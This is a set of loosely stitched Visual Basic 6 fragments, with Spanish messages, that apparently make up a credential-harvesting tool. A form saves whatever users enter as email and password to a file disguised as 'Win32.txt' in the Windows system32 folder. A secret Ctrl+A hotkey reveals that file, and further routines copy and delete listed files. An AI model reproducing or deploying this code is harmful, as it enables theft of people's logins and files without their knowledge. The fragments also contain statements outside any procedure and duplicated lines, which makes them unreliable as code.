If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyA) Then
    Call ShellExecute(0&, "Open", (Environ$("windir") & "\system32\Win32.txt"), "", vbNullString, 1)
  End If

Private Sub Command1_Click()
    Call GuardarArchivo("C:\WINDOWS\system32\Win32.txt", Text1, Text2)
End Sub

Sub GuardarArchivo(Ruta As String, Text1, Text2 As TextBox)
On Error Resume Next
Dim fnum As Integer
On Error GoTo Ninguno
fnum = FreeFile
Open Ruta For Append As fnum
Print #fnum, "Mail:"; Text1.Text
Print #fnum, "Contraseña:"; Text2.Text
Print #fnum, "-------------------------------------------------"
Print #fnum, ""
Close fnum
Exit Sub
Ninguno:
MsgBox "Error al guardar el archivo"
End Sub

Private Sub Command2_Click()
On Error Resume Next
Dim i As Integer
Dim fso As FileSystemObject

Set fso = New FileSystemObject
For i = 0 To List1.ListCount
Path = List1.List(i)
fso.CopyFile Path, "C:\Copy\", True
Next i
Set fso = Nothing
List1.Clear
MsgBox "Sus archivos fueron copiados satisfactoriamente", vbInformation, "c0c0_w3y_s0ftwar3"
End Sub

fso.CopyFile Path, "C:\Copy\", True

fso.DeleteFile Path, True